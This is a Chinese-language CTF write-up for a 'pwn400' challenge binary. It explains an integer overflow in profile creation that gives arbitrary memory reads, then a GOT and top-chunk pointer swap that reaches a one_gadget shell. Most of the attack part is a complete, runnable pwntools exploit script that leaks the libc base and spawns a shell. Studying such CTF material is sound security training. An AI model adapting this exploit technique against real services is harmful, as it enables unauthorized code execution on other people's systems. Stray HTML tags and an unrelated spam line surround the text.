<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    pwn400

    把pwn400直接拖入ida中:
    main函數:

    Create Profile函數:

    Print Profile函數:

    Update Profile函數:

    Exchange函數:

    這個題目有點難度,我花了三天才搞定,題目的流程不難,首先創建Profile,當名字的長度小于8的時候會把數據寫入bss段,數據的長度值nbytes會放入數據的后面,大于8的時候會malloc一個空間,把輸入寫入堆中,而指針會保存在bss段,而數據的長度值nbytes也會保存在指針的后面,更新Profile的時候也會做相同的操作,打印數據的時候會把名字輸出,可以用這個功能泄露程序任意地址的任意數據,Exchange可以交換兩個地址的數據,可以利用這個來getshell
    先運行一下程序看一下這個程序干了啥:

    再看看程序開啟了哪些保護:

    看到這個程序開了棧不可執行,于是肯定就會想到用rop來做

    這個程序有兩個地方可以利用:

    • (1)是創建的Profile,名字長度如果小于8就把數據寫入bss段中,但是你可以輸入負數,如果是負數的話,就可以造成整數溢出,你就可以在bss段中寫入任意長度的數據,就可以覆蓋后面的長度值nbytes為任意數值,這樣你可以偽造一個任意長度的數據,在print函數中可以看到如果nbytes長度小于8就去讀bss中的數據,如果nbytes大于8就會去讀bss中的指針指向的數據,如果我們偽造nbytes的話就可以讓print Profile函數去讀任意地址的數據,通過got表可以計算出libc的基地址
    • (2)是Exchange函數可以交換任意兩個指針,但是兩個指針都是要有寫權限的,程序中權限可以通過vmmap來查看

    這個地方是難點,解決方法是:用top_chunk 指針和read@got指針進行交換,第二次堆分
    配時候可以分配到我想要的位置,就可以把想要數據寫入read@got中,當下回調用read的時候就可以跳到MAGIC中getshell了,關于top_chunk的介紹可以參考https://www.cnblogs.com/alisecurity/p/5486...

    我的exp

    #!/usr/bin/env python
    # -*- coding: utf-8 -*-
    __Auther__ = 'niexinming'
    
    from pwn import *
    import binascii
    context(terminal = ['gnome-terminal', '-x', 'sh', '-c'], arch = 'i386', os = 'linux', log_level = 'debug')
    
    localMAGIC=0x5fbc6
    localmain_arena=0x001B2780
    
    def debug(addr = '0x08048BA6'):
        raw_input('debug:')
        gdb.attach(io, "b *" + addr)
    
    def base_addr(prog_addr,sysmbol,offset):
        if sysmbol=='min':
            return eval(prog_addr)-offset
        else:
            return eval(prog_addr) + offset
    
    def cr_up_profile(choose,name_len,name,age):
        io.recvuntil('>')
        io.send(choose)
        io.recv()
        io.sendline(name_len)
        io.recvuntil('Input your name:\n')
        io.sendline(name)
        io.recvuntil('Input your age:\n')
        io.sendline(age)
    
    def print_profile(address):
        io.recvuntil(">")
        io.sendline('2')
        data = io.recv().splitlines()[0][11:15][::-1]
        log.info("%#x => %s" % (address, (data or '').encode('hex')))
        return data
    
    def change_age(address1,address2):
        io.sendline('4')
        io.recvuntil('Person 1:')
        io.send(p32(address1))
        io.recvuntil('Person 2:')
        io.send(p32(address2))
    
    def leak(address):
        payload = p32(address) + 'a' * 4 + p32(10)
        cr_up_profile('3','-10',payload,'10')
        return print_profile(address)
    
    
    def getshell(address1,address2,address3):
        change_age(address1,address2)
        cr_up_profile('3','20',address3,'20')
    
    
    #libc addr
    libc=ELF('/lib/i386-linux-gnu/libc.so.6')
    symbols = ['environ', '_environ', '__environ']
    for symbol in symbols:
        environ = libc.symbols[symbol]
    print "environ:"+hex(environ)
    head=libc.symbols['__curbrk']
    print "head:"+hex(head)
    system=libc.symbols['system']
    print "system:"+hex(system)
    __malloc_hook=libc.got['__malloc_hook']
    print "__malloc_hook:"+hex(__malloc_hook)
    
    #profile addr
    elf = ELF('/home/h11p/hackme/huxiangbei/profile')
    printf_addr=elf.got['printf']
    puts_addr=elf.got['puts']
    atoi_addr=elf.got['atoi']
    malloc_addr=elf.got['malloc']
    __isoc99_scanf_addr=elf.got['__isoc99_scanf']
    read_addr=elf.got['read']
    print "printf_addr:"+hex(printf_addr)
    print "puts_addr:"+hex(puts_addr)
    print "atoi_addr:"+hex(atoi_addr)
    print "malloc_addr:"+hex(malloc_addr)
    print "__isoc99_scanf_addr:"+hex(__isoc99_scanf_addr)
    print "read_addr:"+hex(read_addr)
    
    io = process('/home/h11p/hackme/huxiangbei/profile')
    
    #debug()
    
    #create profile
    cr_up_profile('1','10','a'*8,'1'*12)
    
    #leak libc base
    libc_base=base_addr("0x"+binascii.b2a_hex(leak(printf_addr)),'min',0x49670) #0x49670
    
    #get libc func addr
    print "libc_base:"+hex(libc_base)
    MAGIC_addr=libc_base+localMAGIC
    print "MAGIC_addr:"+hex(MAGIC_addr)
    environ_addr=libc_base+environ
    print "environ_addr:"+hex(environ_addr)
    head_addr=libc_base+head
    print "head_addr:"+hex(head_addr)
    main_arena_addr=libc_base+localmain_arena
    print "main_arena_addr:"+hex(main_arena_addr)
    topchunk=main_arena_addr+0x30
    print "topchunk:"+hex(topchunk)
    system_addr=libc_base+system
    print "system_addr:"+hex(system_addr)
    __malloc_hook_addr=libc_base+__malloc_hook
    print "__malloc_hook_addr:"+hex(__malloc_hook_addr)
    
    
    '''
    libc_start_main=base_addr("0x"+binascii.b2a_hex(leak(environ_addr)),'min',0xa0)
    print "libc_start_main:"+hex(libc_start_main)
    head_addr_input=base_addr('0x'+binascii.b2a_hex(leak(head_addr+1))+'00','min',0x20fe8)
    print "head_addr_input:"+hex(head_addr_input)
    '''
    
    #getshell
    getshell(topchunk-0xc,0x0804B004-0x8,'a'*8+p32(MAGIC_addr))
    
    io.interactive()
    io.close()

    效果是:

    Ps:尋找MAGIC可以用one_gadget這個工具,工具地址在: https://github.com/david942j/one_gadget

    本文章首發在 網安wangan.com 網站上。

    上一篇 下一篇
    討論數量: 0
    只看當前版本


    暫無話題~
    亚洲 欧美 自拍 唯美 另类